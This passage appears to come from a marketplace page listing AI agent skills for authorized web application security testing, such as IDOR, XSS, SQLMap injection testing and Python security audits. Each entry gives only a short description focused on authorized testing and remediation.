작성자 sickn33
웹 팀은 릴리스 전에 일반적인 애플리케이션 위험을 점검할 반복 가능한 방법이 필요합니다. 이 스킬은 OWASP 테스트를 단계, 프롬프트, 보고 절차로 체계화합니다.
보안 및 컴플라이언스 보기
📦
web-app-penetration-testing
70Test Authorized Web Apps with Strix
작성자 usestrix
Web application reviews can miss vulnerabilities behind login and across tenant boundaries. This skill guides authorized Strix testing, evidence review, and repeat testing after fixes.
보안 및 컴플라이언스 보기
📦
idor-testing
50IDOR 접근 제어 테스트
작성자 sickn33
객체 참조에 소유권 검사가 없을 때 IDOR 결함은 비공개 레코드를 노출합니다. 이 스킬은 승인된 테스터가 발견, 검증, 보고 및 수정 계획 수립을 진행하도록 안내합니다.
보안 및 컴플라이언스 보기
📦
xss-html-injection
38XSS 및 HTML 인젝션 위험 평가
작성자 sickn33
클라이언트 측 인젝션 결함은 세션, 계정 데이터, 사용자 신뢰를 노출할 수 있습니다. 이 스킬은 승인된 테스터가 명확한 개선 지침과 함께 XSS 평가를 체계화하도록 돕습니다.
보안 및 컴플라이언스 보기
📦
webapp-sqlmap
38SQLMap으로 SQL Injection 테스트
작성자 AgentSecOps
수동 SQL injection 테스트는 느리고 문서화가 부실해지기 쉽습니다. 이 스킬은 탐지, 열거, 증거 처리, 개선 조치를 위한 승인된 SQLMap 워크플로를 제공합니다.
보안 및 컴플라이언스 보기
📦
python-web-app-security-audit
90Audit Python Web Apps Before Release
작성자 glenskii
Python teams need repeatable checks for common application security controls. This skill provides configurable pytest coverage with clear evidence, boundaries, and release decisions.
보안 및 컴플라이언스 보기